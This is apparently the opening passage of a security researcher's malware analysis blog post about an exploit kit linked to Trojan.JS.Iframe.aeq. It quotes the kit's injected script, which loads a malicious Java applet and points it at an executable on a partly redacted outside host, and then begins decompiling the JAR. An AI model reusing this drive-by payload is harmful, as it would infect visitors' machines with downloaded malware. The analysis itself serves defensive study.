Step 1: How this started While I was investigating the Trojan.JS.Iframe.aeq case (see blogpost < http://www.securelist.com/en/blog?weblogid=9151>) one of the files dropped by the Exploit Kit was an Applet exploiting a vulnerability: <script> document.write(‘<applet archive="dyJhixy.jar" code="QPAfQoaG.ZqnpOsRRk"><param value="http://fast_DELETED_er14.biz/zHvFxj0QRZA/04az-G112lI05m_AF0Y_C5s0Ip-Vk05REX_0AOq_e0skJ/A0tqO-Z0hT_el0iDbi0-4pxr17_11r_09ERI_131_WO0p-MFJ0uk-XF0_IOWI07_Xsj_0ZZ/8j0A/qql0alP/C0o-lKs05qy/H0-nw-Q108K_l70OC-5j150SU_00q-RL0vNSy/0kfAS0X/rmt0N/KOE0/zxE/W0St-ug0vF8-W0xcNf0-FwMd/0KFCi0MC-Ot0z1_kP/0wm470E/y2H0nlwb14-oS8-17jOB0_p2TQ0/eA3-o0NOiJ/0kWpL0LwBo0-sCO_q0El_GQ/roFEKrLR7b.exe?nYiiC38a=8Hx5S" name="kYtNtcpnx"/></applet>‘); </script> Step 2: First analysis So basically I unzipped the .jar and took a look using JD-GUI, a java decompiler. These were […]
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